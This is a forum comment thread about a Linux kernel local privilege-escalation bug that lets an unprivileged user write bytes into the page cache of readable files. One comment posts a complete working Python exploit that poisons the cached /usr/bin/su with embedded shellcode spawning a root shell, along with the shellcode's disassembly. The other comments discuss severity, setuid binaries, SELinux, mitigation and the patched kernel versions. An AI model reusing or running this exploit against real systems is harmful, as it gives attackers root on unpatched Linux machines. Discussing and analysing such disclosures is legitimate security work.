• MoogleMaestro@lemmy.zip
    link
    fedilink
    English
    arrow-up
    69
    ·
    2 months ago

    It’s a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won’t say that’s happening for sure, but take running this yourself with extreme caution.

  • pseud@lemmy.zip
    link
    fedilink
    arrow-up
    45
    arrow-down
    1
    ·
    edit-2
    1 month ago

    Script:

    #!/usr/bin/env python3
    
    import os, socket
    
    f = os.open("/usr/bin/su", 0)
    
    e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00'
    
    for i in range(0, len(e), 4):
        s = socket.socket(38, 5, 0)
        s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
        s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64))
        s.setsockopt(279, 5, None, 4)
        u, _ = s.accept()
        u.sendmsg([b"AAAA" + e[i:i + 4]],
                  [(279, 3, b'\x00\x00\x00\x00'),
                   (279, 2, b'\x10' + b'\x00' * 19),
                   (279, 4, b'\x08\x00\x00\x00'), ],
                  32768)
        r, w = os.pipe()
        os.splice(f, w, i + 4, offset_src=0)
        os.splice(r, u.fileno(), i + 4)
        try:
            u.recv(8 + i)
        except: pass
    
    os.system("su")
    

    Blob:

    0x00400078      eax = 0
    0x0040007a      edi = 0
    0x0040007c      al = 0x69                 ; 'i' ; 105
    0x0040007e      syscall                   ; sys_setuid(0)
    0x00400080      rdi = rip + 0xf           ; data.00400096
                                              ; 0x400096 ; "/bin/sh"
    0x00400087      esi = 0
    0x00400089      push 0x3b                 ; ';' ; 59
    0x0040008b      pop rax
    0x0040008c      cdq
    0x0040008d      syscall                   ; sys_execve("/bin/sh", NULL, NULL)
    0x0040008f      edi = 0
    0x00400091      push 0x3c                 ; '<' ; 60
    0x00400093      pop rax
    0x00400094      syscall                   ; sys_exit(0)
    

    The blob is obviously a stub-su that /usr/bin/su page cache is poisoned with.

  • Eager Eagle@lemmy.world
    link
    fedilink
    English
    arrow-up
    40
    ·
    2 months ago

    wtf

    An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.

    If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you’re in scope.

    how does that only get a CVE score of 7.8, the impact of this is huge

      • nyan@sh.itjust.works
        link
        fedilink
        arrow-up
        34
        ·
        2 months ago

        Exactly. It’s Yet Another Privilege Escalation Vulnerability. Unless you’re dealing with a multiuser machine, the attacker first needs to use some other vuln to get into an unprivileged account. Without that additional vulnerability, this exploit is useless.

        • solrize@lemmy.ml
          link
          fedilink
          arrow-up
          20
          ·
          2 months ago

          some other vuln

          You mean like inveigling it into a pypi or npm or whatever package? Checks out.

          • olosta@lemmy.world
            link
            fedilink
            arrow-up
            9
            ·
            2 months ago

            I manage multi user systems and try to be on top of this and no, privilege escalation with a working public exploit are very rare. There’s quite a lot of CVEs with potential privilege excalation, but most of the time there is no real world exploit. And a large part of those are related to user namespaces in one way or another.

            This one is truly scary, at least the immediate mitigation is pretty straightforward.

          • nyan@sh.itjust.works
            link
            fedilink
            arrow-up
            6
            ·
            2 months ago

            Well, it often feels like every “Linux security issue” flagged in the tech press is a privilege escalation, but I admit that I haven’t sat down and done the math.

        • sakuraba@lemmy.ml
          link
          fedilink
          arrow-up
          8
          arrow-down
          2
          ·
          2 months ago

          hey these exploits keep the lights on for some tech youtubers, stop making fun of it!! it is very dangerous!!!

          (video titled: LINUX HAS BEEN HACKED, AGAIN?!)

      • BradleyUffner@lemmy.world
        link
        fedilink
        English
        arrow-up
        7
        ·
        2 months ago

        Does it have to actually be su? Couldn’t this replace any other existing privileged program with the fake su in theory?

        • sun_is_ra@sh.itjust.works
          link
          fedilink
          arrow-up
          10
          ·
          2 months ago

          In order to use this exploit you need a program that has UID bit set and the file owned by the user you want to use itheir privilages.

          For example su (among other commands) has that UID bit set and because the owner of the file is root then when you execute it, it always runs with root privileges

          Most Android devices use SELinux (Security Enhanced Linux) which is configured in such way that you couldn’t have root access even if you could run a program owned by root and has the UID bit set.

          What you could do - in theory - is finding a process already running with root privileges and happened to be executing certain command periodically. you could then override that certain program in cache using this exploit to do what you want.

  • timroerstroem@feddit.dk
    link
    fedilink
    arrow-up
    16
    ·
    2 months ago

    Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn’t bother to check those).